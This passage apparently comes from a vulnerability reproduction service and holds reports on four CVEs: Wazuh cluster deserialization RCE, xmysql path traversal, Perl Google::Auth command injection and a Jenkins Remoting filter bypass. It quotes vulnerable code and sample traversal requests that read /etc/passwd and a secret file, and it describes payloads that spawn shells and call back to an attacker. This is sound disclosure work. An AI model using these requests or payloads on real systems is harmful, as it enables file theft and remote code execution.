`24609e140155d7fd2bddd4ebb045dbde5bea320f`. - **Risk level and consequences:** High. A malicious/compromised worker node, or an attacker with the shared cluster key able to act as a worker on the cluster channel, can cause code/command execution in the master-side Wazuh process when a distributed API response is merged. ## Impact Parity - **Disclosed/claimed maximum impact:** Code execution on the Wazuh cluster master via the TCP/1516 Fernet-encrypted cluster channel and DAPI result merging. - **Reproduced impact from this run:** Code execution/command execution on the master-side Wazuh process. The payload executed via `exec()` and wrote unique marker files during both vulnerable attempts. - **Parity:** `full` - **Not demonstrated:** No additional privilege escalation beyond the privileges of the reproduced master-side process was claimed or required for this proof. The proof uses a minimally configured product cluster runtime rather than full Dockerized Wazuh service containers because Docker is unavailable in this environment, but it exercises the original Wazuh cluster TCP/Fernet framing, `MasterHandler`, `DistributedAPI.forward_request`, `json.loads(..., object_hook=as_wazuh_object)`, and `results.py` merge sink. ## Root Cause The root cause is unsafe deserialization and later use of trusted-as-code type names from a worker-provided JSON result object. In the vulnerable commit `24609e140155d7fd2bddd4ebb045dbde5bea320f`: - `AffectedItemsWazuhResult.decode_json()` in `framework/wazuh/core/results.py` stores `obj['sort_casting']` directly into the result object. - During DAPI result merging, `AffectedItemsWazuhResult.__or__()` calls `merge(..., types=self.sort_casting)`. - `merge()` constructs casters using `getattr(builtins, type_)` without an allowlist. - `_goes_before_than()` applies each caster to sort values. If the worker supplied `sort_casting=["exec"]`, the caster becomes Python built-in `exec`, and the corresponding item value is executed as Python source. The product path that reaches this is: 1. Master forwards a distributed request to the worker through `MasterHandler.execute(command=b'dapi_fwd', ...)`. 2. The worker response is delivered through the original Wazuh cluster string protocol (`new_str`, `str_upd`, `dapi_res`) over the Fernet-encrypted cluster TCP channel. 3. `dapi.py` parses the worker response with `json.loads(..., object_hook=c_common.as_wazuh_object)`. 4. `as_wazuh_object()` calls `AffectedItemsWazuhResult.decode_json()`. 5. With more than one node response, `dapi.py` merges results using `reduce(or_, response)`, triggering `results.py` sorting/casting. The fix commit is: - `b29849f8abb08d78f257e6106b6111a8a1b0e621` That commit adds validation in `decode_json()` and an explicit `ALLOWED_CASTERS` map in `merge()`, allowing only `int`, `float`, `str`, and `bool`. The same malicious `sort_casting=["exec"]` response is rejected with `WazuhInternalError: Invalid sort_casting type 'exec'. Allowed types: bool, float, int, str`. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh`. 2. The script: - Reuses the prepared Wazuh repository at `/pruva/project-cache/repo` when available. - Resolves the fixed commit and vulnerable parent. - Verifies the vulnerable revision still contains `getattr(builtins, type_)` and the fixed revision contains the new `sort_casting` allowlist. - Creates worktrees for `24609e140155d7fd2bddd4ebb045dbde5bea320f` and `b29849f8abb08d78f257e6106b6111a8a1b0e621`. - Starts a minimally configured real Wazuh master cluster TCP listener using `wazuh.core.cluster.master.MasterHandler` and `wazuh.core.cluster.common.Handler` with Fernet enabled. It binds to `127.0.0.1:1516` when available. - Connects a malicious worker peer over the original Wazuh cluster frame format, completes the encrypted `hello` handshake, receives the master `b'dapi'` forwarded request, and returns the crafted JSON through the original `new_str` / `str_upd` / `dapi_res` sequence. - Runs two vulnerable attempts and two fixed attempts. 3. Expected evidence: - Vulnerable attempts produce `repro/markers/product_marker_vuln_1.txt` and `repro/markers/product_marker_vuln_2.txt`, each containing the unique marker value selected for that process. - Fixed attempts reach the same DAPI/object-hook path but reject `sort_casting='exec'` and do not create marker files. - `bundle/repro/validation_verdict.json` reports `claim_outcome=confirmed`, `validated_surface=network_protocol`, `evidence_scope=production_path`, and `observed_impact_class=code_execution`. ## Evidence Primary runtime artifacts are listed and digest-bound in `bundle/repro/runtime_manifest.json`. Key files from the final successful run: - `bundle/logs/product_patch_check.log` — commit identity and patch absence/presence check. - `bundle/logs/product_vuln_1.log` and `bundle/logs/product_vuln_2.log` — vulnerable product-path attempts. - `bundle/logs/product_fixed_1.log` and `bundle/logs/product_fixed_2.log` — fixed negative-control attempts. - `bundle/repro/observations/product_vuln_1.json` and `bundle/repro/observations/product_vuln_2.json` — structured observations showing `fernet_enabled=true`, `master_listened=true`, `dapi_forward_request_received_by_worker=true`, `worker_response_delivered_via_send_string=true`, `dapi_json_object_hook_path_reached=true`, and `marker_present=true`. - `bundle/repro/observations/product_fixed_1.json` and `bundle/repro/observations/product_fixed_2.json` — structured observations showing the same network/DAPI path was reached but `sort_casting_rejected=true` and `marker_present=false`. - `bundle/repro/markers/product_marker_vuln_1.txt` and `bundle/repro/markers/product_marker_vuln_2.txt` — command-execution markers written by the vulnerable master-side process. - `bundle/repro/evil_worker_response.json` — the attacker-controlled worker JSON response containing `sort_casting=["exec"]` and the payload in `affected_items[*].x`. Representative vulnerable evidence from the product logs: - `MASTER_LISTENING original_wazuh_cluster_tcp=127.0.0.1:1516 ... fernet_key_len=32` - `WORKER_HELLO_ACCEPTED response=b'Client worker01 added'` - `WORKER_GOT_DAPI_REQUEST request_id=... json_len=550 ...` - `WORKER_SEND_STRING_UPDATED malicious JSON stored in master MasterHandler.in_str` - `WORKER_DAPI_RES_ACKNOWLEDGED master accepted dapi_res and released pending DistributedAPI request` - `MASTER_DAPI_RESULT type=AffectedItemsWazuhResult ... '_sort_casting': ['exec'] ...` - `MARKER_CHECK ... present=True content='CVE-2026-44901-vuln-...'` Representative fixed evidence: - `MASTER_DAPI_RESULT type=WazuhInternalError ... "Invalid sort_casting type 'exec'. Allowed types: bool, float, int, str"` - `MARKER_CHECK ... present=False content=None` Environment details captured: - Repository URL: `https://github.com/wazuh/wazuh.git` - Vulnerable commit: `24609e140155d7fd2bddd4ebb045dbde5bea320f` - Fixed commit: `b29849f8abb08d78f257e6106b6111a8a1b0e621` - Entrypoint: Wazuh cluster TCP peer (`entrypoint_kind="tcp_peer"`) - Runtime stack: Wazuh `MasterHandler`, Wazuh Fernet frame `Handler`, Wazuh `DistributedAPI.forward_request`, Wazuh `AffectedItemsWazuhResult.merge`, Python 3 ## Recommendations / Next Steps - Use the fixed implementation from `b29849f8abb08d78f257e6106b6111a8a1b0e621` or upgrade to Wazuh 4.14.6 or later. - Keep `sort_casting` validation both at deserialization time and at use time. Only safe, explicit caster names should be accepted. - Avoid resolving attacker-provided strings into arbitrary built-ins or callables. - Add regression tests that replay serialized worker `AffectedItemsWazuhResult` responses with invalid caster names such as `exec`, `eval`, `open`, and non-string/list values. - Consider hardening the DAPI worker-response trust boundary: even authenticated cluster workers should not be able to deserialize data structures that influence executable behavior on the master. ## Additional Notes - The final `bundle/repro/reproduction_steps.sh` was executed twice consecutively and succeeded both times. - Each script run performs two vulnerable attempts and two fixed attempts with fresh per-process marker values. - Docker was not available in this environment, so the proof uses a minimally configured local Wazuh cluster runtime from the real source tree rather than Wazuh container images. It does not reimplement the vulnerable sink or the cluster frame protocol; it imports and executes the real Wazuh modules for the master TCP listener, Fernet framing, DAPI forwarding, JSON object hook, and result merging. - The reproduction is self-contained: it creates runtime helper code and payload files at execution time, installs Python dependencies into `bundle/repro/venv` if needed, and writes all proof diagnostics under `bundle/logs/` and `bundle/repro/`. ### Reproduction - Reproduced: 2026-08-23T15:38:24.746Z - Duration: 5005s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00325 # or: pruva-verify CVE-2026-44901 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00325 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00325/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00325 ================================================================================ ## REPRO-2026-00324: Unauthenticated path traversal in xmysql `/download` allows arbitrary file read via unsanitized `req.query.name`. -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00324 - CVE: CVE-2026-72572 (https://nvd.nist.gov/vuln/detail/CVE-2026-72572) ### Package Information - Name: xmysql - Ecosystem: npm / JavaScript (Node.js, Express) - Affected: all versions (project is deprecated/superseded by nocodb; no patched version exists) - Fixed: Unknown - Severity: high - CVSS: 7.5 / 10 - CWE: CWE-22 (Path Traversal) (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) ### Root Cause # Root Cause Analysis — CVE-2026-72572: xmysql `/download` Path Traversal ## Summary xmysql (o1lab/xmysql, a zero-config REST API generator for MySQL/MariaDB) exposes an unauthenticated `GET /download` endpoint whose handler `downloadFile(req, res)` in `lib/xapi.js` builds a filesystem path with `path.join(process.cwd(), req.query.name)` and passes it directly to Express `res.download(file)`. The `name` query parameter is never validated, normalized against, or confined to a base directory, so an unauthenticated remote attacker can supply `../` traversal sequences and read any file readable by the xmysql process. ## Impact - **Package/component:** `o1lab/xmysql` (npm `xmysql`), route handler `lib/xapi.js:downloadFile` (lines 424–427 at commit `8c6b00e`). - **Affected versions:** all versions. The project was renamed to NocoDB and the repository archived; no patched upstream version of xmysql exists. - **Risk level and consequences:** High. Unauthenticated arbitrary file read from the server filesystem (database credentials, `/etc/passwd`, TLS keys, application source, cloud metadata files on disk, etc.). The route is registered by default whenever the MySQL host is localhost (`program.dynamic = 1` in `lib/util/cmd.helper.js`) and `readOnly` is false (the default), so default deployments are exposed. ## Impact Parity - **Disclosed/claimed maximum impact:** unauthenticated remote arbitrary file disclosure (`info_leak` via `api_remote`). - **Reproduced impact from this run:** unauthenticated remote arbitrary file read — `/etc/passwd` returned byte-identical over HTTP 200, and a per-run planted secret file (`/tmp/pruva_xmysql_secret.txt` with a unique token) was recovered verbatim through the same endpoint. - **Parity:** `full`. - **Not demonstrated:** nothing claimed beyond file disclosure; no further impact was claimed or required. ## Root Cause In `lib/xapi.js`: ```js downloadFile(req, res) { let file = path.join(process.cwd(), req.query.name); res.download(file); } ``` `req.query.name` is fully attacker-controlled. `path.join` resolves `..` segments lexically, so a value such as `../../../../../../etc/passwd` escapes the process working directory entirely (excess `..` above `/` collapse to `/`). The result is handed to `res.download()`, which happily streams any file the process can read. There is: 1. no authentication middleware on the route (registered as `this.app.get("/download", this.downloadFile.bind(this))` inside the `dynamic === 1 && !readOnly` block at `lib/xapi.js:322–340`), 2. no allowlist/confined upload-download directory, and 3. no rejection of `..` or absolute-path components. - **Fix commit:** none known; xmysql is unmaintained/archived (renamed to NocoDB). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (idempotent; run twice consecutively, both exit 0). 2. The script: - reuses the prepared project cache (`/pruva/project-cache/repo`) or clones `https://github.com/o1lab/xmysql`, then pins commit `8c6b00ee22860230975e43ab705d015d2235e308` (v0.6.0, latest master) and asserts the vulnerable line is present in `lib/xapi.js`; - installs and starts MariaDB, creates schema `reprodb` with a table, and gives the TCP account a native password (dual-mode SQL runner keeps it idempotent); - installs node dependencies with `npm install --ignore-scripts` (the declared but unused `sleep@6.1.0` native module fails to build on modern Node and is irrelevant); - starts the real product: `node bin/index.js -h 127.0.0.1 -u root -p rootpass -d reprodb -n 3000` and waits for `/_health`; - plants a unique-token secret file outside the app working directory; - sends the unauthenticated attacker request `GET /download?name=../../../../../../../etc/passwd` and `GET /download?name=../../../../../../../tmp/pruva_xmysql_secret.txt`; - runs a benign control request (`name=definitely_not_here.txt`, observed HTTP 400); - verifies byte-identity with `/etc/passwd` and token recovery, then writes `bundle/repro/runtime_manifest.json` and exits 0 on success. 3. **Expected evidence:** HTTP 200 responses with `Content-Disposition: attachment` for both traversal requests; downloaded `/etc/passwd` byte-identical to the real file; planted secret token recovered. ## Evidence - `bundle/logs/reproduction_steps.log` — full session log of both runs. - `bundle/logs/xmysql_service.log` — real xmysql startup banner ("REST APIs Generated: 135"). - `bundle/logs/health_response.json` — `/_health` response proving service liveness. - `bundle/logs/download_passwd_headers.txt` + `bundle/logs/downloaded_passwd.txt` — HTTP 200 and byte-identical `/etc/passwd` (`diff` clean, `^root:` present). - `bundle/logs/download_secret_headers.txt` + `bundle/logs/downloaded_secret.txt` — unique per-run token (e.g. `PRUVA_XMYSQL_SECRET_1786374155853866884`) recovered via traversal. - `bundle/logs/download_benign_status.txt` — benign control returned HTTP 400. - Environment: Linux x86_64, Node.js v24.18.0, MariaDB 11.8.6, xmysql v0.6.0 @ `8c6b00ee22860230975e43ab705d015d2235e308` (target digest `d7544f1501df408c3c5353b430cef5842b463250b64824974436575afb948112`). ## Recommendations / Next Steps - **Fix approach:** drop the endpoint or confine downloads to a dedicated storage directory: resolve `path.resolve(STORAGE_DIR, name)` and reject any result that does not start with `STORAGE_DIR + path.sep`; additionally reject `..`/absolute inputs and require authentication/authorization on the route. - **Upgrade guidance:** xmysql is unmaintained; migrate to NocoDB or another maintained API layer. Until then, run with `--readOnly` (or a non-localhost DB host) so the `dynamic` block (upload/download routes) is never registered, or front the service with a proxy that blocks `/download`. - **Testing recommendations:** regression test that `GET /download?name=../...` returns 4xx and that downloads are confined to the storage directory. ## Additional Notes - **Idempotency:** the script was executed twice consecutively in the same workspace and both runs exited 0; DB setup is dual-mode (unix-socket root first run, TCP password on re-runs) and service startup kills any previous instance. - **Negative control:** no patched upstream version exists (all versions affected, repository archived), so a fixed-version differential is not applicable; a benign in-cwd control request is included instead (HTTP 400 for a nonexistent file). - **Edge cases:** the route only exists when `dynamic === 1 && !readOnly`; dynamic defaults to 1 whenever the MySQL host is localhost/127.0.0.1/::1, which is the common deployment. The server binds to `localhost` (may resolve to `::1`); the script probes both `127.0.0.1` and `localhost`. ### Reproduction - Reproduced: 2026-08-23T15:38:18.998Z - Duration: 731s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00324 # or: pruva-verify CVE-2026-72572 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00324 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00324/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00324 ================================================================================ ## REPRO-2026-00323: Google::Auth for Perl command injection: external_account credentials JSON executable run via ungated system() → RCE -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00323 - CVE: CVE-2026-66902 (https://nvd.nist.gov/vuln/detail/CVE-2026-66902) ### Package Information - Name: Google-Auth - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) ### Root Cause # CVE-2026-66902 — Root Cause Analysis ## Summary Google::Auth for Perl (CPAN distribution `Google-Auth`, maintained at `GoogleCloudPlatform/google-auth-library-perl`) executes a command taken verbatim from an external_account credentials JSON file through a single-argument `system($command)` call. In versions before 0.06 there is no opt-in gate: any application that builds Application Default Credentials from a configuration it does not fully control runs the embedded shell command (with full `/bin/sh -c` interpretation and attacker-chosen environment variables) with the privileges of the application process. This is CWE-78 OS command injection leading to arbitrary OS command execution. ## Impact - **Package/component:** CPAN `Google-Auth` (`Google::Auth`), `lib/Google/Auth/ExternalAccountCredentials/Pluggable.pm` - **Affected versions:** < 0.06 (verified at commit `913fb1780202c1ee9dd640c28c01549903f8e23a` = fix commit parent; packaged as 0.05) - **Risk level:** Critical. Any service/workload that consumes a credentials JSON from an untrusted or partially trusted source (mounted config, user-supplied file, CI artifact) executes attacker-chosen shell commands as the application user. ## Impact Parity - **Disclosed/claimed maximum impact:** arbitrary OS command execution (RCE) in the application process. - **Reproduced impact from this run:** arbitrary shell command execution in the Perl application process. The embedded command used shell output redirection to write a unique attacker-chosen marker file, and consumed attacker-controlled environment variables copied from the same JSON (`environment_variables` map) — proving both full shell interpretation and environment injection. - **Parity:** `full`. - **Not demonstrated:** nothing material; the claimed impact (code/command execution) was reproduced directly, twice, against the real library entrypoint. ## Root Cause `Google::Auth::ExternalAccountCredentials::Pluggable::retrieve_subject_token()` (in versions < 0.06) does the following with zero validation and no opt-in: 1. Copies every entry of `credential_source.executable.environment_variables` from the credentials JSON into `%ENV`. 2. Reads `credential_source.executable.command` and runs `capture { system($command) }`. Because `system()` receives a single string, Perl invokes `/bin/sh -c`, giving the attacker pipes, redirection, command substitution, and all shell metacharacters. Dispatch reaches this subclass automatically: `Google::Auth->default()` → `Google::Auth::DefaultCredentials->from_env()` reads the JSON named by `GOOGLE_APPLICATION_CREDENTIALS` → `make_creds()` in `ExternalAccountCredentials.pm` selects the `Pluggable` subclass whenever `credential_source.executable` exists → construction succeeds with only `audience`, `subject_token_type`, `token_url`, and `credential_source` → the first `fetch_access_token()` (which every consuming application performs to use the credential) calls `retrieve_subject_token()` and executes the command before any network access. Fix commit `c95c77e70bec94f17e239d88050f843ea1cade95` (released as 0.06) adds an opt-in gate at the top of `retrieve_subject_token()` that throws unless `GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=1`, plus a bounded execution timeout, schema validation of the command output, and URL domain validation in the base class. Version 0.10 additionally parses with `Text::ParseWords` and uses indirect `system` exec. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` (self-contained; re-runnable). 2. The script: - Clones `GoogleCloudPlatform/google-auth-library-perl` (into the prepared project cache when available) and resolves the vulnerable checkout as `c95c77e70bec94f17e239d88050f843ea1cade95^` (= `913fb17`) and the fixed checkout as the fix commit itself; verifies the gate string is absent in the vulnerable tree and present in the fixed tree. - Installs the pure-Perl runtime dependencies (Moo, Capture::Tiny, LWP::UserAgent, Log::Any, Throwable, URI) via apt when permitted, otherwise into a bundle-local `INSTALL_BASE` with `cpan`, then builds the real module including its XS component (`perl Makefile.PL && make`) for both versions. - Generates an attacker-controlled `external_account` credentials JSON whose `credential_source.executable.command` writes a unique marker file using shell redirection and attacker-injected environment variables, and points `token_url` at a closed localhost port so the STS exchange fails fast after the command has already executed. - Invokes the real ADC flow as a CLI command: `GOOGLE_APPLICATION_CREDENTIALS= perl -I... trigger.pl`, where `trigger.pl` calls `Google::Auth->default()` and then `fetch_access_token()` — exactly the sequence a real application performs. - Runs the matrix: 2 vulnerable attempts, 2 fixed attempts (default gated), and 1 fixed attempt with the opt-in gate set (positive control). 3. Expected evidence: both vulnerable attempts create their unique marker files; both fixed attempts throw `Pluggable credentials are not enabled. Set GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=1` and create no marker; the opt-in control creates its marker again. ## Evidence - Main log: `bundle/logs/reproduction_steps.log` - Per-attempt process logs: `bundle/logs/attempt_vuln_1.log`, `bundle/logs/attempt_vuln_2.log`, `bundle/logs/attempt_fixed_1.log`, `bundle/logs/attempt_fixed_2.log`, `bundle/logs/attempt_fixed_allow1.log` - Marker files (written by the injected shell command through `/bin/sh -c`): `bundle/repro/markers/vuln_1.marker`, `bundle/repro/markers/vuln_2.marker`, `bundle/repro/markers/fixed_allow1.marker` - Per-attempt observation JSONs: `bundle/repro/observations/*.json` - Attacker configs used: `bundle/repro/adc/*.json` - Runtime manifest: `bundle/repro/runtime_manifest.json` Key excerpts (identical across two consecutive runs): ``` [run] vuln attempt 1 ... RESULT: credentials class = Google::Auth::ExternalAccountCredentials::Pluggable RESULT: fetch_access_token error: Token exchange failed with status 500: Can't connect to 127.0.0.1:9 [run] vuln attempt 1: MARKER CREATED -> pwned-via-CVE-2026-66902 vuln attempt 1 shell+env injection [matrix] vulnerable attempts with marker: 2/2 RESULT: fetch_access_token error: Pluggable credentials are not enabled. Set GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=1 to enable. [matrix] fixed attempts blocked (no marker): 2/2 [run] fixed attempt allow1: MARKER CREATED -> pwned-via-CVE-2026-66902 fixed attempt allow1 shell+env injection [matrix] fixed+opt-in attempts with marker: 1/1 === RESULT: CONFIRMED - command injection via Pluggable external_account credentials === ``` Environment: Ubuntu 24.04, perl 5.38.2 (x86_64-linux-gnu-thread-multi), OpenSSL 3.0.13 headers for the XS build, pure-Perl deps installed into `bundle/repro/deps` (cpan `INSTALL_BASE`). No sanitizers, no mocks, no network interaction with Google endpoints (token_url is `http://127.0.0.1:9/v1/token`, which fails *after* the injected command has executed). ## Recommendations / Next Steps - Upgrade to Google-Auth 0.06 or later; 0.06 throws unless `GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=1` is set, and 0.10 additionally shell-parses the command with `Text::ParseWords` and uses indirect (list-form) `system` exec, removing `/bin/sh -c` interpretation. - Treat every credentials JSON reachable by the ADC flow (`GOOGLE_APPLICATION_CREDENTIALS`, well-known paths) as executable code: restrict write access, prefer trusted provisioning, and avoid setting the opt-in gate. - Regression testing: the upstream fix commit already adds tests (`t/16-pluggable-credentials.t`); downstream should additionally test that a `credential_source.executable` config without the gate never spawns a process. ## Additional Notes - **Idempotency:** the script was executed twice consecutively (plus two more times after adding unique per-attempt markers/observations) — every run produced the full matrix result (2/2 vulnerable markers, 2/2 fixed blocked, 1/1 opt-in control) and exit code 0. - The command executes *before* the STS token exchange; the proof intentionally uses a closed-loopback `token_url` so no external network call is needed and the marker is created regardless of the later (expected) STS failure. - Both the claimed entrypoint variants are supported: the primary proof uses `Google::Auth->default()` (requires the XS build, which the script performs); if the XS toolchain were unavailable the script falls back to `Google::Auth::DefaultCredentials->from_env()`, which is the same dispatch path named in the claim. - Edge case: the vulnerable code only executes the command when a token is fetched, not at config parse time — matching real application behavior, since any consumer of the credential calls `fetch_access_token()` to use it. ### Reproduction - Reproduced: 2026-08-23T15:38:13.515Z - Duration: 1012s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00323 # or: pruva-verify CVE-2026-66902 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00323 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00323/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00323 ================================================================================ ## REPRO-2026-00322: Jenkins Remoting JEP-200 deserialization filter bypass (SECURITY-3911): unfiltered ClassNotFoundException fallback in MultiClassLoaderSerializer.resolveClass and ObjectInputStreamEx.resolveClass lets agents deserialize blocked core-classpath classes on the controller -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00322 - CVE: CVE-2026-70426 (https://nvd.nist.gov/vuln/detail/CVE-2026-70426) ### Package Information - Name: jenkinsci/remoting (hudson.remoting) - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-502 (Deserialization of Untrusted Data) ### Root Cause # RCA: Jenkins Remoting SECURITY-3911 / CVE-2026-70426 — JEP-200 Deserialization Filter Bypass ## Summary Jenkins Remoting (agent–controller communication library) contains two unfiltered `ClassNotFoundException` fallback paths in its deserialization class-resolution code. In `hudson.remoting.MultiClassLoaderSerializer.Input.resolveClass()` (and identically in `hudson.remoting.ObjectInputStreamEx.resolveClass()`), the primary path resolves the incoming class name against the channel-annotated classloader and then applies the JEP-200 class filter (`channel.classFilter.check(c)`). When that lookup throws `ClassNotFoundException`, the fallback `super.resolveClass(desc)` resolved the class via the receiving JVM's own classloader **without applying the class filter**. An attacker able to speak the agent protocol (Agent/Connect permission, a compromised agent, or code running on an agent) can therefore deserialize a JEP-200-blocked class on the Jenkins controller by serializing it with a spoofed `TAG_SYSTEMCLASSLOADER` annotation, forcing the `ClassNotFoundException` fallback. The blocked class's `readObject` then executes in the controller JVM, yielding remote code execution on the controller. ## Impact - Package/component: `org.jenkins-ci.main:remoting` (Jenkins Remoting), embedded in Jenkins core (`jenkins.war`). - Affected: Remoting <= 3384.v60d89463d9e0 (except backport 3355.3357.v931d3c992987); Jenkins weekly <= 2.575; LTS <= 2.568.1. - Fixed: Remoting 3385.vf1123fb_515da_ (Jenkins 2.576 / LTS 2.568.2). - Risk: Critical (CVSS 3.1 9.6, AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) — agent-to-controller RCE. AC:H because the gadget class must live on the controller's core classpath and evade the pre-JEP-200 static denylist (which this bypass does not defeat). ## Impact Parity - Disclosed/claimed maximum impact: arbitrary code execution on the Jenkins controller from the agent side of a Remoting channel (RCE). - Reproduced impact from this run: **OS command execution on the Jenkins controller JVM** across the real JNLP4-connect (TCP) channel, proven twice by two independent direct OS-level observations per attempt: (1) `/bin/sh -c` executed on the controller writing a marker file with `id`/`hostname` output inside the controller container (`uid=0(root) ... jvm_pid=...`), and (2) an outbound TCP callback from the controller JVM to an attacker-controlled listener carrying the per-attempt token and the controller hostname. - Parity: `full`. - Not demonstrated: nothing material; the ClassCastException after `readObject` detonation is an artifact of the minimal PoC gadget (Serializable-only), not a limitation of the bypass. A real-world exploit would use a gadget class already on the core classpath whose `readObject` performs the malicious action (exactly the pattern this PoC models). ## Root Cause `src/main/java/hudson/remoting/MultiClassLoaderSerializer.java` (vulnerable line 137): ```java } catch (ClassNotFoundException ex) { return super.resolveClass(desc); // <-- no channel.classFilter.check(...) } ``` and identically `src/main/java/hudson/remoting/ObjectInputStreamEx.java` line 64: ```java } catch (ClassNotFoundException ex) { return super.resolveClass(desc); // <-- no filter.check(...) } ``` The name-based check `channel.classFilter.check(name)` still runs first, so classes on the pre-JEP-200 static denylist (e.g. commons-collections functors) remain blocked; but the *class-level* JEP-200 check (`jenkins.security.ClassFilterImpl.isBlacklisted(Class)`), which rejects classes whose code location is not Jenkins core/Remoting/a plugin and which are not in `whitelisted-classes.txt`, is skipped on the fallback path. An attacker forces the fallback by writing `TAG_SYSTEMCLASSLOADER` (-3) as the class annotation: the receiver then tries `Class.forName(name, false, null)` (bootstrap loader), which throws `ClassNotFoundException` for any non-JDK class, and the fallback resolves the class through the deserializing frame's classloader (on a real controller, the Jetty webapp classloader, which can see the whole core classpath and delegates to the application classloader) — completely bypassing the JEP-200 decision. Fix commit: `f1123fb515da74560db60645539019cfa77bce49` (jenkinsci/remoting, released as 3385.vf1123fb_515da_): both fallbacks became `return channel.classFilter.check(super.resolveClass(desc));` / `return filter.check(super.resolveClass(desc));`. Diff captured in `bundle/repro/security3911-fix.diff`; vulnerable/fixed source lines captured in `bundle/logs/vuln_unfiltered_fallback.txt` and `bundle/logs/fixed_filtered_fallback.txt`. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; uses only Docker images `jenkins/jenkins:2.575-jdk21`, `jenkins/jenkins:2.576-jdk21`, `maven:3.9-eclipse-temurin-21`, `alpine:3.22` plus the harness sources in `bundle/repro/harness/`). 2. What it does: - Records the image digests and the war manifests (`Remoting-Embedded-Version`: 3384.v60d89463d9e0 for 2.575, 3385.vf1123fb_515da_ for 2.576) and the real fix-commit diff from a jenkinsci/remoting checkout (verifying the exact vulnerable and fixed lines). - Extracts the byte-identical `remoting-3384.v60d89463d9e0.jar` from the vulnerable war and compiles the PoC gadget (`hudson.security3911.Payload`, Serializable, `readObject` executes `/bin/sh` + outbound callback) into `payload.jar`, and the attack agent. - For each of two vulnerable and two fixed attempts: boots a **real Jenkins controller** (fresh `JENKINS_HOME`, setup wizard disabled, inbound-agent TCP listener on port 50000, production `JnlpSlaveAgentProtocol4` accept path) with `payload.jar` on the controller's own launch classpath (a harness jar, as sanctioned by the ticket's reproduction requirements — the filter, channel, and `UserRequest.deserialize` path are 100% product code). `init.groovy.d` creates the `agent1` inbound node, prints its JNLP secret, and proves the production JEP-200 filter identity: `SECURITY3911_CHANNEL_DEFAULT_FILTER=jenkins.security.ClassFilterImpl` and `SECURITY3911_FILTER_PROBE=REJECTED: Rejected: hudson.security3911.Payload` (i.e. the production filter blocks the payload class at class level on both builds). - The attack agent performs the **real JNLP4-connect handshake** using the production negotiation classes (`JnlpAgentEndpoint`, `JnlpProtocolHandlerFactory`, `JnlpProtocol4Handler`, `IOHub`, `PublicKeyMatchingX509ExtendedTrustManager`), builds a genuine `hudson.remoting.UserRequest`, replaces its serialized request bytes with bytes produced by a `SpoofedTagSystemClassLoaderOutput` (exactly the regression-test helper from the fix commit), and sends it over the established channel. The controller's `DefaultJnlpSlaveReceiver.afterChannel`/`SlaveComputer.setChannel` production flow runs on the same connection. 3. Expected evidence: - Vulnerable (2.575): `Payload.readObject` executes on the controller during `UserRequest.deserialize` → marker file `/tmp/CONTROLLER_PWNED_.txt` inside the controller container (contents include `uid=0(root)` and the controller hostname) AND an outbound callback `SECURITY3911_CALLBACK token=... phase=readObject controller_host=` received by the attacker's listener. - Fixed (2.576): `SecurityException: Rejected: hudson.security3911.Payload; see https://jenkins.io/redirect/class-filter/` returned over the channel; no marker, no callback. ## Evidence - Full run log: `bundle/logs/reproduction_steps.log` (two consecutive full runs, both `OVERALL=0`, exit code 0). - Per-attempt controller and agent logs: `bundle/logs/attempt-{vuln,fixed}-{1,2}/{controller,agent}.log`. - Direct OS-execution markers (collected from inside the controller containers via `docker exec`): `bundle/logs/attempt-vuln-1/CONTROLLER_PWNED_security3911-vuln-1-*.txt` and `bundle/logs/attempt-vuln-2/CONTROLLER_PWNED_security3911-vuln-2-*.txt`, e.g.: ``` SECURITY3911_MARKER token=security3911-vuln-1-1786004490 phase=readObject uid=0(root) gid=0(root) groups=0(root) dc3492613861 <- controller container hostname jvm_pid=100 ``` - Outbound callback (agent log): `CALLBACK_RECEIVED from=/172.19.0.2:38064 msg=SECURITY3911_CALLBACK token=security3911-vuln-1-1786004490 phase=readObject controller_host=dc3492613861` — the source IP and hostname belong to the controller container, proving the controller JVM executed attacker code and dialed out. - Vulnerable-channel exception (expected, post-detonation): `ClassCastException: class hudson.security3911.Payload cannot be cast to class hudson.remoting.Callable (hudson.security3911.Payload is in unnamed module of loader 'app'; ...)` — confirms the fallback resolved the class via the controller-side loader. - Fixed-channel rejection: `EXCEPTION=Error: Failed to deserialize the Callable object. <- SecurityException: Rejected: hudson.security3911.Payload; see https://jenkins.io/redirect/class-filter/` with `CALLBACK_COUNT=0` and no marker. - Production filter provenance (controller log, both builds): 